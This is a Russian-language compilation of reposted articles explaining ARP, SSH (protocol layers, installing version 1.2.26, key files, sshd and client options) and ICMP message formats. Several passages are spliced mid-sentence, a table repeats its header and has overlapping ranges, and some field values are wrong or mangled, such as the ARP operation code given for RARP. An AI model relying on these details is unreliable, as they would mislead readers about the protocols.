Узел, которому нужно выполнить отображение IP-адреса на локальный адрес, формирует ARP запрос, вкладывает его в кадр протокола канального уровня, указывая в нем известный IP-адрес, и рассылает запрос широковещательно. Все узлы локальной сети получают ARP запрос и сравнивают указанный там IP-адрес с собственным. В случае их совпадения узел формирует ARP-ответ, в котором указывает свой IP-адрес и свой локальный адрес и отправляет его уже направленно, так как в ARP запросе отправитель указывает свой локальный адрес. ARP-запросы и ответы используют один и тот же формат пакета. Так как локальные адреса могут в различных типах сетей иметь различную длину, то формат пакета протокола ARP зависит от типа сети.

В поле типа сети для сетей Ethernet указывается значение 1. Поле типа протокола позволяет использовать пакеты ARP не только для протокола IP, но и для других сетевых протоколов. Для IP значение этого поля равно 080016.

Длина локального адреса для протокола Ethernet равна 6 байтам, а длина IP-адреса - 4 байтам. В поле операции для ARP запросов указывается значение 1 для протокола ARP и 2 для протокола RARP.

Узел, отправляющий ARP-запрос, заполняет в пакете все поля, кроме поля искомого локального адреса (для RARP-запроса не указывается искомый IP-адрес). Значение этого поля заполняется узлом, опознавшим свой IP-адрес.

В глобальных сетях администратору сети чаще всего приходится вручную формировать ARP-таблицы, в которых он задает, например, соответствие IP-адреса адресу узла сети X.25, который имеет смысл локального адреса. В последнее время наметилась тенденция автоматизации работы протокола ARP и в глобальных сетях. Для этой цели среди всех маршрутизаторов, подключенных к какой-либо глобальной сети, выделяется специальный маршрутизатор, который ведет ARP-таблицу для всех остальных узлов и маршрутизаторов этой сети. При таком централизованном подходе для всех узлов и маршрутизаторов вручную нужно задать только IP-адрес и локальный адрес выделенного маршрутизатора. Затем каждый узел и маршрутизатор регистрирует свои адреса в выделенном маршрутизаторе, а при необходимости установления соответствия между IP-адресом и локальным адресом узел обращается к выделенному маршрутизатору с запросом и автоматически получает ответ без участия администратора.

Взято с http://delphiworld.narod.ru


Работа с SSH

Cодержание раздела:

Описание протокола SSH (Secure Shell)


Описание протокола SSH (Secure Shell)

В настоящей статье рассматривается ssh (secure shell), одно из самых распространенных программных средств повышения компьютерной безопасности при работе Unix-систем в Internet.

Число как средств защиты, так и инструментов, способствующих взлому, в Internet огромно. Однако складывается впечатление, что по крайней мере два средства tcpwrapper и ssh входят в состав своеобразного джентльменского набора ОС Unix, который можно рекомендовать любому системному администратору. В частности, эти средства используют все отечественные Internet-провайдеры, с которыми мне приходилось иметь дело. Возможно, это связано и со стандартной_ комплектацией ssh операционной системы FreeBSD, весьма популярной среди наших провайдеров.

Причиной нашего внимания к этой теме является не только популярность ssh среди пользователей, работающих в самых разных областях. Хотя ssh появился лишь в 1995 г., в настоящее время он уже рассматривается как проект стандарта Internet, подготовкой которого занимается специальная рабочая группа secsh в IETF Security Area. Строго говоря, в этой рабочей группе стандартизуется, конечно, не ssh как программный продукт, а набор протоколов ssh.

Тем временем, ssh уже завоевал статус фактического стандарта Internet на безопасные терминальные соединения. Автором первоначального варианта ssh является Т. Ялонен. В настоящее время выпущена вторая версия ssh; разработкой программного продукта SSH2 занимается компания SSH Communication Security Кроме версии ssh, доступной бесплатно, имеется и усовершенствованный коммерчески доступный вариант. Кроме того, с использованием этой программы разработаны и некоторые другие коммерческие продукты. Поставками коммерческой версии ssh занимается Data Fellows; эта компания предлагает, в частности, программные продукты F-secure SSH Server и F-Secure SSH Tunell & Terminal.

Под ssh понимают как собственно программу, так и задействованный в ней протокол. Что касается программы, то для ее краткой характеристики следует сказать, что ssh представляет собой средство организации безопасного доступа к компьютерам при работе по небезопасным каналам связи. Для организации безопасного доступа применяется процедура аутентификации с использованием асимметричного шифрования с открытым ключом. Это обеспечивает более высокую безопасность, чем при использовании симметричного шифрования, хотя и порождает дополнительную вычислительную нагрузку. При последующем обмене данными применяется уже симметричное шифрование, более экономичное в смысле затрат процессорного времени.

Что касается типов обеспечиваемого удаленного доступа, ssh поддерживает возможности работы с telnet; безопасную работу с протоколом X11 благодаря возможности перенаправления соответствующих данных по надежным ssh-каналам; безопасную замену многим r_-командам Unix (rsh, rlogin и т.д.), с которыми, как известно, традиционно связаны проблемы обеспечения безопасности.

Впрочем, рассмотрение ssh следует начать с протоколов. Для того чтобы чтение статьи оказалось полезным для потребителей ssh_ и в первую очередь для системных администраторов, ранее не пользовавшихся средствами, подобными ssh, рассмотрение будет ориентировано на практически важные аспекты.

Протокол ssh

Проект стандарта ssh описывает протоколы ssh и состоит из нескольких документов, которые описывают общую архитектуру протокола, а также протоколы трех уровней: протокол транспортного уровня, протокол аутентификации и протокол соединения. Их задача _ обеспечивать безопасную сетевую службу наподобие удаленного login поверх небезопасной_ сети.

Протокол транспортного уровня обеспечивает аутентификацию сервера, конфиденцальность и целостность. Протокол аутентификации обеспечивает аутентификацию клиента для сервера. Наконец, протокол соединения ssh мультиплексирует безопасный (шифруемый) канал, представляя его в виде нескольких логических каналов, которые используются для различных целей (различных видов служб).

Протокол транспортного уровня предусматривает возможность сжатия данных. Этот протокол работает поверх соединения TCP/IP. Протокол аутентификации работает поверх протокола транспортного уровня, а протокол соединения ' поверх протокола аутентификации.

С целью повышения безопасности осуществляется не только аутентификация клиента для сервера, к которому обращается клиент, но и аутентификация сервера клиентом _ другими словами, происходит аутентификация обеих сторон.

Клиент шлет запрос на обслуживание в первый раз, когда устанавливается безопасное соединение транспортного уровня ssh. Второй запрос направляется уже после завершения аутентификации пользователя (клиента).

Прежде чем анализировать протоколы ssh подробнее, следует определить понятие ключ хоста_. Каждый работающий с ssh хост, на котором может выполняться как клиент, так и сервер, может иметь не менее одного ключа, причем для шифрования допускаются различные криптографические алгоритмы. Несколько хостов могут иметь общий ключ хоста. Однако каждый хост должен иметь хотя бы один ключ, с которым работает каждый из требуемых алгоритмов работы с открытыми ключами. В проекте стандарта в настоящее время требуемый алгоритм только один _ DSS (Digital Signature Standard).

Ключ хоста-сервера используется при обмене открытыми ключами с целью проверки того, что клиент действительно общается с настоящим_ (а не подмененным) сервером. Для этого клиент должен знать открытый ключ хоста-сервера. Это знание реализуется в рамках одной из двух моделей.

В первой клиент просто имеет некий локальный файл, в котором каждому имени хоста ставится в соответствие его открытый ключ. Во второй модели вводится понятие сертификационного агента_, который и отвечает за проверку соответствия имени хоста его открытому ключу. При этом клиент знает только открытый ключ самого сертификационного агента. В последнем случае упрощается поддержка клиента (ему нужно знать всего один открытый ключ), но появляются высокие требования к сертификационному агенту, который должен иметь открытые ключи всех хостов, к которым обращаются клиенты.

Протоколом предусмотрена возможность отказа от проверки ключа хоста-сервера при самом первом обращении клиента к этому серверу. При этом соединение клиент-сервер будет защищено от пассивного прослушивания сети, но возникает опасность атаки типа человек в середине_ (man-in-the-middle), т. е. попытки временной подмены сервера. Если эта возможность используется, ключ хоста-сервера будет автоматически передан клиенту и сохранен в его локальном файле.

Разработчики проекта протокола ssh особенно заботились о его долголетии_. Протокол будет расширяемым; планируется возможность дополнения криптографических алгоритмов, используемых при работе ssh. C этой целью проектом предусмотрено, что между клиентом и сервером происходят переговоры_, в результате которых выбираются методы шифрования, форматы открытых ключей и т.п., которые будут использованы в данном сеансе. При этом с целью обеспечения интероперабельности должен поддерживаться некоторый минимальный набор алть национальные криптографические стандарты.

Интервал номеров Тип сообщений Протокол
Интервал номеров Тип сообщений Протокол
1-19 Транспортный уровень (общая часть) Транспортный
20-29 Переговоры клиента и сервера о выборе алгоритма
30-49 Специфические для метода обмена ключами
50-59 Протокол аутентификации (общая часть) Аутентификации
60-79 Протокол аутентификации (часть, специфическая для метода аутентификации)
80-89 Протокол соединения (общая часть) Cоединения
90-127 Cообщения, относящиеся к каналам
90-128 Резерв (для протоколов клиентов)
192-255 Локальные расширения

Таблица 1. Номера сообщений ssh и их назначение

Отдельного упоминания заслуживают вопросы увеличения трафика в связи с применением протоколов ssh. Ясно, что при передаче в сети больших пакетов дополнительная нагрузка, вызванная передачей управляющих заголовков ssh, невелика. Основное внимание следует обратить на приложения, для которых характерны короткие пакеты _ например, telnet. Минимальный размер заголовка TCP/IP равен 32 байта; минимальный же размер пакета при использовании ssh увеличится с 33 до (примерно) 51 байта.

Учитывая, что в Ethernet минимальная длина поля данных пакета равна 46 байт, дополнительный нагрузкой _ в 5 байт _ можно пренебречь. Наиболее существенным влияние ssh оказывается, вероятно, при использовании протокола PPP на низкоскоростных модемных соединениях, поскольку PPP сжимает заголовки TCP/IP. Однако существенный прогресс в скоростях передачи данных позволяет рассчитывать, что дополнительные задержки будут измеряться несколько миллисекундами и останутся незаметны человеку.

Наконец, несколько слов о кодировании сетевых адресов. Поскольку DNS ' ненадежный протокол, в ssh он не используется. При адресации применяются IP-адреса, причем в проекте заложена поддержка IPv6.

Все сообщения (пакеты) ssh содержат номер сообщения _ число от 1 до 255. Этот диапазон разбит на подинтервалы, причем разным уровням протокола ssh отвечают разные диапазоны.

Установка

При установке всякого бесплатно распространяемого по Internet программного продукта и ssh здесь не исключение ' часто приходится сталкиваться с тем, что используемая Вами версия ОС Unix чуть-чуть_ отличается от того, чего ждали от нее разработчики данного продукта. В результате программный продукт может оказаться не вполне работоспособен, или вовсе транслироваться с ошибками. Автор столкнулся с некоторыми особенностями установки ssh в средах SGI Irix и Linux; о них будет рассказано ниже. Формально наше изложение относится к ssh версии 1.2.26, если явно не оговорено противное (процедуры установки различных версий ничем кардинальным не отличаются).

После того, как дистрибутив ssh получен и разархивирован, процедура установки включает три простых стадии. На первой следует выполнить командный файл configure. Все основные особенности создаваемого варианта ssh задаются параметрами, указываемыми при запуске configure. Можно задать целый ряд ключей (операндов).

В частности, указывается, какие методы шифрования сеанса будут использованы при работе ssh (предлагается, в частности, IDEA, DES, тройной_ DES, ARCFOUR, BLOWFISH). Поскольку в ARCFOUR найдена дыра_, по умолчанию этот метод исключается, а остальные, наоборот, включены. Основным по умолчанию является IDEA, использующий 128-разрядные ключи. Если он исключен, основным алгоритмом становится 3DES, трехкратное последовательное DES-шифрование c 56-разрядным ключом. Учитывая несколько нашумевших вскрытий_ однократного DES-ключа, это выглядит разумной предосторожностью. Нужно отметить также метод BLOWFISH, который при той же длине ключа (от 32 до 448 разрядов) работает быстрее IDEA и DES. Используемый по умолчанию метод шифрования можно указать явно, установив нужное значение SSH_FALL BACK_CIPHER во включаемом файле ssh.h.

При запуске configure можно специфицировать поддержку Kerberos 5, cредств работы с сервером аутентификации TIS, с Secure Dynamics Secure ID card и т.д. Можно разрешить или запретить перенаправление портов TCP/IP клиентского и серверного хостов, а также ' отдельно _ перенаправление портов протокола X11.

Можно задать также замену стандартных команд rlogin и rsh соответствующими одноименными модулями из дистрибутива ssh. Тогда для соединений будет использоваться протокол ssh ' конечно, если удаленный компьютер его поддерживает (в противном случае после предупреждения будет осуществлен переход к обычным средствам rlogin/rsh).

Поскольку подразумеваемые значения ключей configure установлены весьма разумно, при вызове configure обычно не приходится задавать большого числа операндов и можно обойтись чем-то наподобие

./configure 'verbose
'with-libwrap=ПУТЬ 'with-X

где ПУТЬ задает путь к библиотеке libwarp.a, которая требуется при использовании tcp_wrapper (в этом случае кроме libwrap.a для установки ssh понадобится также файл tcp.h). Последний операнд указывает на работу с протоколом X11.

При работе configure используется Autoconf, известная программа с лицензией GNU, которая автоматически определяет массу характеристик установленного на локальном компьютере программного обеспечения. При наличии операнда verbose выполнение configure сопровождается выдачей информационных сообщений, позволяющих проконтролировать генерируемые параметры.

В результате выполнения сonfigure создает ряд новых файлов и каталогов, но главное для понимания процесса установки _ то, что при этом из файла-заготовки Makefile.in создается собственно Makefile.

На второй стадии установки запуск make приводит к компиляции всех основных модулей ssh. Наконец, третья стадия установки запускается по команде make install. При этом происходит запись порожденных программ в целевые_ каталоги (по умолчанию /usr/local/bin, /usr/local/sbin, /usr/local/man), а также создание нескольких файлов в каталоге /etc: ssh_config, sshd_config и ssh_host_key_pub.

В случае неудачи команда make distclean должна удалить все следы проделанного эксперимента_, кроме самого дистрибутива. Так написано в документации; на самом деле: в /usr/local/sbin и /usr/local/bin все остается.

В реальной жизни, конечно, возникают проблемы. Приведем некоторые конкретные примеры. Так, с ОС Irix не рекомендуется использовать версии ssh от 1.2.21 и более ранние из-за большого числа ошибок; желательно применять версии 1.2.25 и выше.

Поскольку применение ssh может вызвать задержки из-за загрузки процессора операциями шифрования, ssh желательно компилировать с оптимизацией. configure, кстати, имеет специальный операнд, разрешающий оптимизацию на уровне ассемблера. В качестве иллюстрации укажем, что для рабочей станции SGI O2 c микропроцессором R5000SC и ОС Irix 6.3, включение оптимизации Си-компилятора дает прирост производительности примерно на 25%. Однако есть сообщения, что такая оптимизация иногда вызывает ошибки при перенаправлении портов X11.

ОС ssh 1.2.26 ssh 2.0.9
SGI Irix 5.2, 5.3, 6.0.1 6.2-6.4 6.2 6.4
Digital Unix 4.0, 4.0a, 4.0b OSF/1: 3.0-3.2 4.0
Sun Solaris 2.3-2.6 SunOS 4.1 Solaris 2.5.1 2.6
HP-UX 9.x 10.x 10 20
IBM AIX 4.1 4.2 4.1 4.2
Linux Slackware 3.x RedHat 5.1 2.0.34
FreeBSD 1.x 2.x 3.0 2.x 3.0

Таблица 2. Некоторые поддерживаемые ssh операционные системы

В ssh 2.0.8 при трансляции в ОС Irix рекомендуется использовать Си-компилятор версии 7.2, поскольку он позволяет создать более производительную программу по сравнению с 7.1. Однако следует использовать cc 7.2.1, поскольку исходный_ Си-компилятор версии 7.2 дает неработоспособный ssh.

В качестве еще одной иллюстрации обсудим Linux. Для компиляции ssh не годится gcc популярной версии 2.7.2: нужна версия 2.7.2.3 или новее. В RedHat Linux для работы с аутентификацией RSA домашний каталог пользователя и его подкаталог .ssh не должны иметь разрешение на запись членами группы.

Файлы ssh

Обратимся сначала к образующимся после установки исполняемым файлам. Основных файлов два: cобственно демон sshd в /usr/local/sbin и клиент ssh в /usr/local/bin. В последнем каталоге располагается также модуль scp (ssh-аналог rcp) и ряд модулей с префиксом ssh_, среди которых отметим модули ssh_agent (аутентификационный агент, хранящий RSA-ключи аутентификации) и ssh_add, служащий для регистрации новых ключей в этом агенте. Кроме того, в /usr/local/bin имеется две важных вспомогательных утилиты: ssh-keygen и make-ssh-known-hosts.

Неисполняемые файлы ssh (кроме справочных файлов, помещаемых в /usr/local/man) располагаются в каталогe /etc и в домашних каталогах пользователей. В каталоге /etc расположены конфигурационные файлы sshd_config и ssh_config, задающие конфигурационные параметры соответственно sshd и ssh; эти файлы образуются автоматически по завершению установки.

В каталог /etc помещается информация о ключах. В файле ssh_host_key задается ключ хоста-сервеssh_host_key_pub) помещается в файл ssh_known_hosts. Естественно, его надо создавать самостоятельно.

В каталоге /etc образуется также рабочий файл ssh_random_seed, который автоматически модифицируется при запуске демона sshd. Наконец, в каталоге /etc могут располагаться еще два файла. Файл shosts.equiv является аналогом файла rhosts.equiv при работе с ssh. Файл sshrc выполняется при процедуре login перед вызовом оболочки.

Файлы, отражающие пользовательские настройки, располагаются в их домашних каталогах _ в подкаталоге .ssh. В этом подкаталоге располагается, в частности, RSA _ ключ пользователя (в файле identity) и соответствующий открытый ключ (в файле identity.pub). Кроме того, в каталоге .ssh может иметься коллекция открытых ключей удаленных_ пользователей (из их файлов identity.pub), находящаяся в файлe authorized.keys. Пользователь может создать также свой личный аналог файла /etc/ssh_known_hosts в файле known_hosts.

При первом вызове ssh (клиента) cоздается и автоматически корректируется при последующих вызовах файл random_seed. Собственные подразумеваемые параметры ssh можно задать в файле config. В файле rc можно указать действия, выполняемые при login до вызова пользовательской оболочки. Наконец, файл .shosts, аналог .rhosts при работе с ssh, располагается в домашнем каталоге пользователя.

Для генерации ключей заданной длины, как ключей хостов, так и ключей пользователей, применяется утилита ssh-keygen. Она автоматически вызывается в процессе установки для создания файлов, содержащих ключи хоста-сервера.

Типичный вызов ssh-keygen (квадратные скобки, как обычно, означают возможность опустить соответствующий операнд) выглядит так:

ssh-keygen [-b длина] [-N парольная_фраза] [-c комментарий]

позволяет создать файлы identity и identity.pub с RSA-ключами, длина которых задается операндом b. По умолчанию длина ключа равна 1024; она не должна быть меньше 512. Поле комментария по умолчанию генерируется в форме user@host. ПАРОЛЬНАЯ_ФРАЗА используется для шифрования личного ключа пользователя; ее рекомендуемая длина _ от 10 до 30 символов. При генерации ключа хоста ПАРОЛЬНАЯ_ФРАЗА должна отсутствовать; такой вызов автоматически происходит в процессе установки.

Утилита make-ssh-known-hosts представляет собой сценарий на языке Perl5 и служит для автоматизации создания файлов типа ssh_known_hosts. Если на компьютере Perl5 не установлен, подобные файлы придется создавать вручную.

Данная утилита обладает развитые средства взаимодействия с DNS-серверами и позволяет выполнять достаточно изощренный опрос этих серверов. Простейшая форма вызова имеет следующий вид:

make-ssh-known-hosts some.domain > /etc/ssh_known_hosts

Это позволяет найти и записать в файл ssh_known_hosts открытые ключи всех хостов домена some.domain. Утилита имеет, в частности, средства работы с WKS-записями DNS-сервера. Если в этих записях указан признак наличия ssh, то можно сразу отобрать только хосты, поддерживающие ssh. Аналогично можно отобрать хосты, поддерживающие telnet:

make-ssh-known-hosts some.domain Ё^wks=.*telnetё > our_hosts

Утилита может работать аналогичным образом с записями hinfo. Механизм ее работы следующий.

Получив от DNS-сервера список отобранных хостов, make-ssh-known-hosts пытается получить открытые ключи каждого из них. Для этого делается попытка соединиться на порт sshd (22 по умолчанию), и если соединение успешно, пытается выполнить на удаленном хосте команду cat /etc/ ssh_host_key.pub. Если это не удается, утилита проверяет, был ли получен ей в сеансе открытый ключ удаленного хоста; если да _ то он и используется (эту возможность можно отменить при вызове сценария).

Демон sshd

Запуск демона sshd обычно происходит автоматически при загрузке операционной системы из командного файла наподобие /etc/rc.local. Поскольку sshd должен сгенерировать ключ еще до установления соединения, что требует определенного времени, sshd не рекомендуют запускать через демон inetd. Однако, если процессор достаточно быстр, и длина ключа мала (меньше 512 разрядов), демон может периодически запускаться через inetd при каждой попытке соединиться на порт 22.

Напомним, что в целях безопасности не рекомендуют применять ключи короче 512 разрядов. При запуске sshd длину ключа можно указать в операнде -b (по умолчанию 768 разрядов). Подчеркнем, что здесь речь идет о ключе сервера (демона sshd), используемом в сеансе, а не о ключе хоста-сервера.

Запуск sshd с операндом -d включает режим отладки, что рекомендуется при проверке работоспособности, поскольку при этом выдается ряд информационных сообщений, позволяющих отслеживать происходящее. При нормальной эксплуатации этот режим следует отключить.

Параметры демон sshd читает из файла /etc/sshd_conf. В нем задаются, в частности, ссылки на файлы ssh_host_key и ssh_random_seed, длина ключа сервера, разрешенные методы шифрования, номер используемого sshd порта, уровень протоколирования работы sshd в системном журнале и др. Обычно этот файл является вполне подходящим, и необходимости его корректировать не возникает.

Клиент ssh

Клиент ssh cлужит в качестве замены командам rsh и rlogin. Типичная форма вызова ssh выглядит так:

ssh [-l имя_пользоваетля] ИМЯ_ХОСТА [команда]

Здесь ИМЯ_ПОЛЬЗОВАТЕЛЯ означает имя пользователя на удаленном хосте, с которым происходит соединение (задается операндом ИМЯ_ХОСТА). Операнд КОМАНДА, если он не опущен, указывает выполняемую на удаленном хосте команду.

Команда ssh имеет еще целый ряд операндов. В операнде -с можно указать метод шифрования (idea/blowfish/des/3des/arcfour); в операнде -p указывается номер порта. Операнд -v рекомендуется использовать для получения информации о том, что происходит в процессе установления сеанса, например, при возникновении каких-либо проблем, в первую очередь задержках в соединении.

Два операнда позволяют осуществлять перенаправление портов:

- L ПОРТ:ХОСТ:ПОРТХОСТА

позволяет перенаправить ПОРТ локального компьютера на ПОРТХОСТА удаленного компьютера, заданного в аргументе ХОСТ;

-R ПОРТ:ХОСТ:ПОРТХОСТА

осуществляет перенаправление ПОРТа на удаленном ХОСТе на порт локального хоста (последний аргумент).

Конфигурационные файлы клиента включают общий файл /etc/ssh_config и личные пользовательские config-файлы. Последние перекрывают_ действие общего файла, и их, в свою очередь, можно заменить явным заданием операндов ssh. В конфигурационном файле задаются такие параметры, как методы шифрования, возможность перенаправления портов, разрешение на использование обычных механизмов rsh/rlogin при невозможности ssh-аутентификации, номер используемого на удаленном сервере порта и др.

Взято с http://delphiworld.narod.ru


Другие протоколы

Cодержание раздела:

Описание протокола ICMP (Internet Control Message Protocol) New!
Протокол IMAP4 (Internet Message Access Protocol) New!


Описание протокола ICMP (Internet Control Message Protocol)

Протокол Internet (IP) используется для обработки датаграммы, передаваемой между хост-компьютерами в системе объединенных сетей, называемой Catenet. Устройства, осуществляющие соединение различных сетей, называются шлюзами. Для обеспечения управления шлюзы общаются друг с другом посредством протокола Gateway to Gateway Protocol (GGP). Порой шлюз или хост-компьютер, получающий данные, обменивается информацией с хост-компьютером, отправляющим эти данные. Именно для таких целей используется данный протокол - протокол контрольных сообщений Internet (ICMP). ICMP использует основные свойства протокола Internet (IP), как если бы ICMP являлся протоколом более высокого уровня. Однако фактически ICMP является составной частью протокола Internet и должен являться составной частью каждого модуля IP.

Сообщения ICMP должны отправляться в некоторых затруднительных ситуациях. Например, когда датаграмма не может достичь своего адресата, когда шлюз не имеет достаточно места в своем буфере для передачи какой-либо датаграммы, или когда шлюз приказывает хост-компьютеру отправлять информацию по более короткому маршруту.

Протокол Internet не создан для того, чтобы обеспечивать абсолютную надежность передачи информации. Целью же данных контрольных сообщений является обеспечение обратной связи, оповещение отправителя данных о проблемах, возникающих в коммуникационном оборудовании. Их целью не является придание надежности протоколу IP. Протокол не дает гарантий, что датаграмма достигает своего адресата или что контрольное сообщение будет возвращено компьютеру, отправившему данные. Некоторые из датаграмм могут исчезнуть в сети, не вызвав при этом ни каких оповещений. Протоколы более высокого уровня, использующие протокол IP, должны применять свои собственные процедуры для обеспечения надежности передачи данных, если таковая требуется.

Сообщения ICMP протокола, как правило, оповещают об ошибках, возникающих при обработке датаграмм. Чтобы проблемы с передачей сообщений не вызывали появление новых сообщений, чтобы это в свою очередь не привело к лавинообразному росту количества сообщений, циркулирующих в сети, констатируется, что нельзя посылать сообщения о сообщениях. Также констатируется, что ICMP сообщения можно посылать только о проблемах, возникающих при обработке нулевого фрагмента в сегментированной датаграмме (нулевой фрагмент имеет нуль в поле смещения фрагмента).

Форматы сообщений

ICMP сообщения посылаются с помощью стандартного IP заголовка. Первый октет в поле данных датаграммы - это поле типа ICMP сообщения. Значение этого поля определяет формат всех остальных данных в датаграмме. Любое поле, которое помечено "unused", зарегистрировано для последующих разработок и должно при отправлении содержать нули. Однако получатель не должен использовать значения этих полей (за исключением процедуры вычисления контрольной суммы). Если обратное особо не оговорено при описании отдельных фрагментов, Internet заголовок должен иметь в своих полях следующие значения:

Версия
4

IHL
Длина Internet заголовка; единица измерения - 32-битное слово.
Тип сервиса
0

Общая длина
Длина Internet заголовка и поля данных в октетах.
Идентификация, флаги, смещение фрагмента
Используются в случае фрагментации
Время жизни
Время жизни в секундах. Поскольку значение этого поля уменьшается на единицу в каждой машине, на которой обрабатывается данная датаграмма, то значение этого поля должно, по крайней мере, превышать количество шлюзов, через которые будет проходить данная датаграмма.

Протокол
ICMP=1
Контрольная сумма заголовка
16-битное дополнение до единицы суммы дополнений до единицы всех 16-битных слов в заголовке. При вычислении данной суммы следует первоначально устанавливать значение этого поля в нуль.
В дальнейшем этот алгоритм вычисления контрольной суммы должен быть изменен.
Адрес отправления
Адрес шлюза или хост-компьютера, который составил данное ICMP сообщение. Если не оговорено обратное, в этом поле может находиться любой из адресов шлюза.
Адрес получателя
Адрес шлюза или хост-компьютера, которому следует послать данное сообщение.

Сообщение о недостижимости порта

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля Internet протокола:
Адрес получателя
Локальная сеть и адрес компьютера, отправившего исходную датаграмму

Поля ICMP протокола
Тип
3

Код0 невозможно передать датаграмму на локальную сеть, где находится адресат
1 невозможно передать датаграмму на хост-компьютер, являющийся адресатом
2 нельзя воспользоваться указанным протоколом
3 нельзя передать данные на указанный порт
4 для передачи датаграммы по сети требуется фрагментация, однако выставлен флаг DF.
5 сбой в маршрутизации при отправлении

Контрольная сумма

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений октетов в полях ICMP сообщения, начиная с поля типа ICMP. Для вычисления контрольной суммы первоначально значение этого поля обнуляется. В будущем процедура вычисления контрольной суммы может быть изменена.

Internet заголовок + 64 бита данных из исходной датаграммы
Данное поле содержит Internet заголовок и первые 64 бита данных из исходной датаграммы для выработки сообщения для соответствующего процесса. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера находятся в первых 64 битах поля данных.

Описание

Если, согласно информации в таблицах маршрутизации шлюза, локальная сеть, указанная в Internet заголовке датаграммы в поле адресата, является недостижимой, например, из-за ее чрезмерной удаленности, то шлюз может послать хост-компьютеру, отправившему датаграмму по Internet сети, сообщение о недостижимости адресата.

Кроме этого, в некоторых сетях шлюз может иметь возможность определять доступность отдельного хост-компьютера. Шлюз в такой сети может послать данное сообщение, если хост-компьютер, являющийся адресатом, недоступен.

Иная ситуация возникает, когда для достижения адресата датаграмма должна быть разбита шлюзом на отдельные фрагменты, но установлен флаг запрета фрагментации. О этом случае шлюз обязан ликвидировать датаграмму и может при этом послать сообщение о недостижимости адресата.

Шлюз может послать сообщения с кодами 0, 1, 4 и 5. Хост-компьютер может послать сообщения с кодами 2 и 3.

Сообщение о превышении контрольного времени

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения
Тип
11

Код0 при передаче превышено время жизни
1 превышено контрольное время при сборке фрагментов датаграммы

Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP.

При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм контрольной суммы может быть изменен.

Internet заголовок + 64 бита данных из исходной датаграммы
Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме.

Описание

Если фрагмент нулевого размера превысил контрольное время, то сообщение в этом не посылается вовсе.

Шлюз может послать сообщение с кодом 0, а хост - с кодом 1.

Сообщение о проблемах с параметром

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
указатель не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения
Тип
12

Код
0 - указатель показывает ошибку

Контрольная сумма
Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP.

При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.

Указатель
Если код = 0, то он указывает на октет, где была обнаружена ошибка.
Internet заголовок + 64 бита данных из исходной датаграммы
Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме.

Описание
Если шлюз или хост-компьютер, обрабатывающий датаграмму, обнаруживает проблему с обработкой параметров заголовка, и это не позволяет завершить ее обработку, то он должен ликвидировать рассматриваемую датаграмму. Одной из потенциальных причин такой неприятности могут бить неправильные аргументы в опции. Шлюз или хост-компьютер в сообщении о проблеме с параметрами может также упомянуть хост-компьютер, породивший датаграмму с ошибкой. Сообщения такого типа посылаются лишь в том случае, если ошибка приводит к ликвидации этой датаграммы.

Указатель определяет октет в заголовке исходной датаграммы, где была обнаружена ошибка (этот ошибочный октет может находиться даже посередине опции). Например, 1 указывает на то, что имеется какая-то ошибка в поле типа сервиса, а (если имеются опции) 20 определяет, что имеется ошибка в коде типа для первой опции. Код 0 сообщения может приходить как от шлюза, так и от хост-компьютера.

Сообщение для приостановки отправителя

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
Тип Код Контрольная сумма
не используется
Internet заголовок + 64 бита данных из исходной датаграммы

Поля IP заголовка
Заимствованы сеть и адрес отправителя из исходной датаграммы с данными.

Поля ICMP сообщения
Тип
4

Код
0

Контрольная сумма

Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен.
Internet заголовок + 64 бита данных из исходной датаграммы
Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исходной датаграммы.

Описание
Шлюз может ликвидировать Internet датаграммы, если у него нет места в буфере для постановки этих датаграмм в очередь на от правление в очередную сеть по маршруту следования к адресату.

Если шлюз ликвидирует датаграмму, то он должен послать сообщение для приостановки хост-компьютеру в Internet системе, отправившему данную датаграмму. Сообщение о приостановке может послать также сам адресат, если датаграммы приходят слишком быстро, чтобы успеть их обработать. Сообщение о приостановке является за просом для хост-компьютера уменьшить скорость посылки данных на этот конкретный адрес. Шлюз может посылать сообщение для при остановки отправителя в каждом случае ликвидации. При получении такого сообщения хост-компьютер, отправивший данные, должен уменьшить скорость посылки данных по этому адресу до тех пор, пока не перестанут приходить запросы на приостановку с данного шлюза. После этого хост-компьютер, отправляющий данные, может постепенно увеличивать скорость посылки данных по этому адресу, пока вновь не станут приходить сообщения о приостановке.

